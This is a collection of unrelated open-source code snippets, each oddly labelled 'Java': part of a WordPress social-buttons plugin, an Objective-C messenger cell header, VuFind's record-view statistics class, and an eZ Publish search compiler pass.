get_option('sociallikes_zeroes'), 'buttons' => array() ); for ($i = 1; $i <= 8; $i++) { $option = 'pos' . $i; $btn = get_option($option); if (get_option($btn)) { array_push($options['buttons'], $btn); } } return $options; } function delete_deprecated_options() { delete_option('sociallikes_counters'); delete_option('sociallikes_look'); delete_option('sociallikes_twitter_via'); delete_option('sociallikes_twitter_rel'); delete_option('sociallikes_pinterest_img'); delete_option('sociallikes_post'); delete_option('sociallikes_page'); delete_option('sociallikes_skin'); delete_option('sociallikes_icons'); delete_option('sociallikes_zeroes'); delete_option('vk_btn'); delete_option('facebook_btn'); delete_option('twitter_btn'); delete_option('google_btn'); delete_option('pinterest_btn'); delete_option('lj_btn'); delete_option('odn_btn'); delete_option('mm_btn'); delete_option('pos1'); delete_option('pos2'); delete_option('pos3'); delete_option('pos4'); delete_option('pos5'); delete_option('pos6'); delete_option('pos7'); delete_option('pos8'); } } $wpsociallikes = new wpsociallikes(); function social_likes($postId = null) { echo get_social_likes($postId); } function get_social_likes($postId = null) { $post = get_post($postId); global $wpsociallikes; return $post != null ? $wpsociallikes->build_buttons($post) : ''; } ?>
Java
// // LVKDefaultMessageStickerItem.h // VKMessenger // // Created by Eliah Nikans on 6/9/14. // Copyright (c) 2014 Levelab. All rights reserved. // #import "LVKMessageItemProtocol.h" @interface LVKDefaultMessageStickerItem : UICollectionViewCell <LVKMessageItemProtocol> @property (weak, nonatomic) IBOutlet UIImageView *image; @property (weak, nonatomic) IBOutlet NSLayoutConstraint *imageWidthConstraint; @end
Java
<?php /** * VuFind Statistics Class for Record Views * * PHP version 5 * * Copyright (C) Villanova University 2009. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * @category VuFind2 * @package Statistics * @author Chris Hallberg <challber@villanova.edu> * @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License * @link http://vufind.org/wiki/system_classes Wiki */ namespace VuFind\Statistics; /** * VuFind Statistics Class for Record Views * * @category VuFind2 * @package Statistics * @author Chris Hallberg <challber@villanova.edu> * @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License * @link http://vufind.org/wiki/system_classes Wiki */ class Record extends AbstractBase { /** * Saves the record view to wherever the config [Statistics] says so * * @param \VuFind\Search\Base\Results $data Results from Search controller * @param Zend_Controller_Request_Http $request Request data * * @return void */ public function log($data, $request) { $this->save( array( 'recordId' => $data->getUniqueId(), 'recordSource' => $data->getResourceSource() ), $request ); } /** * Returns a set of basic statistics including total records * and most commonly viewed records. * * @param integer $listLength How long the top list is * @param bool $bySource Sort record views by source? * * @return array */ public function getStatsSummary($listLength = 5, $bySource = false) { foreach ($this->getDrivers() as $driver) { $summary = $driver->getFullList('recordId'); if (!empty($summary)) { $sources = $driver->getFullList('recordSource'); $hashes = array(); // Generate hashes (faster than grouping by looping) for ($i=0;$i<count($summary);$i++) { $source = $sources[$i]['recordSource']; $id = $summary[$i]['recordId']; $hashes[$source][$id] = isset($hashes[$source][$id]) ? $hashes[$source][$id] + 1 : 1; } $top = array(); // For each source foreach ($hashes as $source=>$records) { // Using a reference to consolidate code dramatically $reference =& $top; if ($bySource) { $top[$source] = array(); $reference =& $top[$source]; } // For each record foreach ($records as $id=>$count) { $newRecord = array( 'value' => $id, 'count' => $count, 'source' => $source ); // Insert sort (limit to listLength) for ($i=0;$i<$listLength-1 && $i<count($reference);$i++) { if ($count > $reference[$i]['count']) { // Insert in order array_splice($reference, $i, 0, array($newRecord)); continue 2; // Skip the append after this loop } } if (count($reference) < $listLength) { $reference[] = $newRecord; } } $reference = array_slice($reference, 0, $listLength); } return array( 'top' => $top, 'total' => count($summary) ); } } return array(); } }
Java
<?php /** * @copyright Copyright (C) eZ Systems AS. All rights reserved. * @license For full copyright and license information view LICENSE file distributed with this source code. */ namespace eZ\Publish\Core\Base\Container\Compiler\Search\Legacy; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\Definition; /** * This compiler pass will register Legacy Search Engine criterion handlers. */ class CriteriaConverterPass implements CompilerPassInterface { /** * @param \Symfony\Component\DependencyInjection\ContainerBuilder $container */ public function process(ContainerBuilder $container) { if ( !$container->hasDefinition('ezpublish.search.legacy.gateway.criteria_converter.content') && !$container->hasDefinition('ezpublish.search.legacy.gateway.criteria_converter.location') && !$container->hasDefinition('ezplatform.trash.search.legacy.gateway.criteria_converter') && !$container->hasDefinition('ezpublish.spi.persistence.legacy.url.criterion_converter') ) { return; } if ($container->hasDefinition('ezpublish.search.legacy.gateway.criteria_converter.content')) { $criteriaConverterContent = $container->getDefinition('ezpublish.search.legacy.gateway.criteria_converter.content'); $contentHandlers = $container->findTaggedServiceIds('ezpublish.search.legacy.gateway.criterion_handler.content'); $this->addHandlers($criteriaConverterContent, $contentHandlers); } if ($container->hasDefinition('ezpublish.search.legacy.gateway.criteria_converter.location')) { $criteriaConverterLocation = $container->getDefinition('ezpublish.search.legacy.gateway.criteria_converter.location'); $locationHandlers = $container->findTaggedServiceIds('ezpublish.search.legacy.gateway.criterion_handler.location'); $this->addHandlers($criteriaConverterLocation, $locationHandlers); } if ($container->hasDefinition('ezplatform.trash.search.legacy.gateway.criteria_converter')) { $trashCriteriaConverter = $container->getDefinition('ezplatform.trash.search.legacy.gateway.criteria_converter'); $trashCriteriaHandlers = $container->findTaggedServiceIds('ezplatform.trash.search.legacy.gateway.criterion_handler'); $this->addHandlers($trashCriteriaConverter, $trashCriteriaHandlers); } if ($container->hasDefinition('ezpublish.spi.persistence.legacy.url.criterion_converter')) { $urlCriteriaConverter = $container->getDefinition('ezpublish.spi.persistence.legacy.url.criterion_converter'); $urlCriteriaHandlers = $container->findTaggedServiceIds('ezpublish.persistence.legacy.url.criterion_handler'); $this->addHandlers($urlCriteriaConverter, $urlCriteriaHandlers); } } protected function addHandlers(Definition $definition, $handlers) { foreach ($handlers as $id => $attributes) { $definition->addMethodCall('addHandler', [new Reference($id)]); } } }
Java